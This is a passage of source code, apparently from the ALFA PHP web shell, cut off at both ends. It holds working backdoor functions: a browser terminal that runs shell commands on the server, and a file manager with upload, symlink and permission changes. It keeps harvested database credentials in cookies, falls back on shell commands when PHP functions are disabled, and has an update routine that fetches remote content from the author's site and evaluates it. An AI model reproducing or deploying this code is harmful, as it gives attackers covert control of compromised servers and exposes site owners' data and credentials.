l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php 
        echo $GLOBALS["cwd"];
        ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php 
        echo $GLOBALS["cwd"];
        ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php 
        echo $_SERVER["DOCUMENT_ROOT"];
        ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php 
        echo "true";
        ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php 
    }
}
if (!function_exists("posix_getpwuid") && strpos(@ini_get('disable_functions'), 'posix_getpwuid') === false) {
    function posix_getpwuid($p)
    {
        return false;
    }
}
if (!function_exists("posix_getgrgid") && strpos(@ini_get('disable_functions'), 'posix_getgrgid') === false) {
    function posix_getgrgid($p)
    {
        return false;
    }
}
function alfaWhich($p)
{
    $path = alfaEx('which ' . $p, false, false);
    if (!empty($path)) {
        return strlen($path);
    }
    return false;
}
function alfaSize($s)
{
    if ($s >= 1073741824) {
        return sprintf('%1.2f', $s / 1073741824) . ' GB';
    } elseif ($s >= 1048576) {
        return sprintf('%1.2f', $s / 1048576) . ' MB';
    } elseif ($s >= 1024) {
        return sprintf('%1.2f', $s / 1024) . ' KB';
    } else {
        return $s . ' B';
    }
}
function alfaPerms($p)
{
    if (($p & 0xc000) == 0xc000) {
        $i = 's​';
    } elseif (($p & 0xa000) == 0xa000) {
        $i = 'l​';
    } elseif (($p & 0x8000) == 0x8000) {
        $i = '-​';
    } elseif (($p & 0x6000) == 0x6000) {
        $i = 'b​';
    } elseif (($p & 0x4000) == 0x4000) {
        $i = 'd​';
    } elseif (($p & 0x2000) == 0x2000) {
        $i = 'c​';
    } elseif (($p & 0x1000) == 0x1000) {
        $i = 'p​';
    } else {
        $i = 'u​';
    }
    $i .= $p & 0x100 ? 'r​' : '-';
    $i .= $p & 0x80 ? 'w​' : '-';
    $i .= $p & 0x40 ? $p & 0x800 ? 's​' : 'x​' : ($p & 0x800 ? 'S​' : '-');
    $i .= $p & 0x20 ? 'r​' : '-';
    $i .= $p & 0x10 ? 'w​' : '-';
    $i .= $p & 0x8 ? $p & 0x400 ? 's​' : 'x​' : ($p & 0x400 ? 'S​' : '-');
    $i .= $p & 0x4 ? 'r​' : '-';
    $i .= $p & 0x2 ? 'w​' : '-';
    $i .= $p & 0x1 ? $p & 0x200 ? 't​' : 'x​' : ($p & 0x200 ? 'T​' : '-');
    return $i;
}
function alfaPermsColor($f, $isbash = false)
{
    $class = "";
    $num = "";
    $human = "";
    if ($isbash) {
        $class = $f["class"];
        $num = $f["num"];
        $human = $f["human"];
    } else {
        $num = substr(sprintf('%o', @fileperms($f)), -4);
        $human = alfaPerms(@fileperms($f));
        if (!@is_readable($f)) {
            $class = "main_red_perm";
        } elseif (!@is_writable($f)) {
            $class = "main_white_perm";
        } else {
            $class = "main_green_perm";
        }
    }
    return '<span style="font-weight:unset;" class="' . $class . '">' . $num . '</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="' . $class . '">' . $human . '</span>';
}
if (!function_exists("scandir")) {
    function scandir($dir)
    {
        $dh = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
function reArrayFiles($file_post)
{
    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);
    for ($i = 0; $i < $file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }
    return $file_ary;
}
function _alfa_can_runCommand($cgi = true, $cache = true)
{
    if (isset($_COOKIE["alfa_canruncmd"]) && $cache) {
        return true;
    }
    if (strlen(alfaEx("whoami", false, $cgi)) > 0) {
        $_COOKIE["alfa_canruncmd"] = true;
        return true;
    }
    return false;
}
function _alfa_symlink($target, $link)
{
    $phpsym = function_exists("symlink");
    if ($phpsym) {
        @symlink($target, $link);
    } else {
        alfaEx("ln -s '" . addslashes($target) . "' '" . addslashes($link) . "'");
    }
}
function _alfa_file_exists($file, $cgi = true)
{
    if (@file_exists($file)) {
        return true;
    } else {
        if (strlen(alfaEx("ls -la '" . addslashes($file) . "'", false, $cgi)) > 0) {
            return true;
        }
    }
    return false;
}
function _alfa_file($file, $cgi = true)
{
    $array = @file($file);
    if (!$array) {
        if (strlen(alfaEx("id", false, $cgi)) > 0) {
            $data = alfaEx('cat "' . addslashes($file) . '"', false, $cgi);
            if (strlen($data) > 0) {
                return explode("\n", $data);
            } else {
                return false;
            }
        } else {
            return false;
        }
    } else {
        return $array;
    }
}
function _alfa_is_writable($file)
{
    $check = false;
    $check = @is_writable($file);
    if (!$check) {
        if (_alfa_can_runCommand()) {
            $check = alfaEx('[ -w "' . trim(addslashes($file)) . '" ] && echo "yes" || echo "no"');
            if ($check == "yes") {
                $check = true;
            } else {
                $check = false;
            }
        }
    }
    return $check;
}
function _alfa_is_dir($dir, $mode = "-d")
{
    $check = false;
    $check = @is_dir($dir);
    if ($mode == "-e") {
        $check = @is_file($dir);
    }
    if (!$check) {
        if (_alfa_can_runCommand()) {
            $check = alfaEx('[ "' . trim($mode) . '" "' . trim(addslashes($dir)) . '" ] && echo "yes" || echo "no"');
            if ($check == "yes") {
                return true;
            } else {
                return false;
            }
        }
    }
    return $check;
}
function _alfa_load_ace_options($base)
{
    return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="' . $base . '" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="' . $base . '" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\'' . $base . '\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\'' . $base . '\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\'' . $base . '\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2()
{
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4);
    echo "<div style=\"position:relative;\" fm_id=\"1\" id=\"filesman_holder_1\" class=\"ajaxarea filesman-active-content\"><div class=\"header\"></div></div>";
    alfaFooter();
}
function copy_paste($c, $s, $d)
{
    if (@is_dir($c . $s)) {
        @mkdir($d . $s);
        $h = @opendir($c . $s);
        while (($f = @readdir($h)) !== false) {
            if ($f != "." and $f != "..") {
                copy_paste($c . $s . '/', $f, $d . $s . '/');
            }
        }
    } elseif (is_file($c . $s)) {
        @copy($c . $s, $d . $s);
    }
}
function alfaFilesMan()
{
    if (!empty($_COOKIE['alfa_f'])) {
        $_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
    }
    if (!empty($_POST['alfa1'])) {
        switch ($_POST['alfa1']) {
            case 'uploadFile':
                $move_cmd_file = false;
                $alfa_canruncmd = false;
                if ($GLOBALS['glob_chdir_false']) {
                    $alfa_canruncmd = _alfa_can_runCommand(true, true);
                    $move_cmd_file = true;
                }
                if (_alfa_is_writable($GLOBALS['cwd'])) {
                    $files = reArrayFiles($_FILES['f']);
                    $ret_files = array();
                    foreach ($files as $file) {
                        if ($move_cmd_file && $alfa_canruncmd) {
                            alfaEx("cat '" . addslashes($file['tmp_name']) . "' > '" . addslashes($_POST["c"] . "/" . $file['name']) . "'");
                        } else {
                            if (@move_uploaded_file($file['tmp_name'], $file['name'])) {
                                $ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($file['name'])) : array("name" => "????");
                                $gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($file['name'])) : array("name" => "????");
                                $file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($file['name']) : "????");
                                $file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($file['name']) : "????");
                                $file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
                                $file_perm = alfaPermsColor($file['name']);
                                $file_size = @filesize($file['name']);
                                $ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner . "/" . $file_group);
                            }
                        }
                    }
                    if (!$move_cmd_file) {
                        echo json_encode($ret_files);
                    }
                } else {
                    echo "noperm";
                    return;
                }
                if (!$move_cmd_file) {
                    return;
                }
                break;
            case 'mkdir':
                $new_dir_cmd = false;
                if ($GLOBALS['glob_chdir_false']) {
                    if (_alfa_can_runCommand(true, true)) {
                        if (_alfa_is_writable($GLOBALS['cwd'])) {
                            if (!_alfa_is_dir(trim($_POST['alfa2']))) {
                                alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';mkdir '" . trim(addslashes($_POST['alfa2'])) . "'");
                                echo "<script>alfaShowNotification('" . addslashes($_POST['alfa2']) . " created...', 'Files manager');</script>";
                            } else {
                                echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
                            }
                        } else {
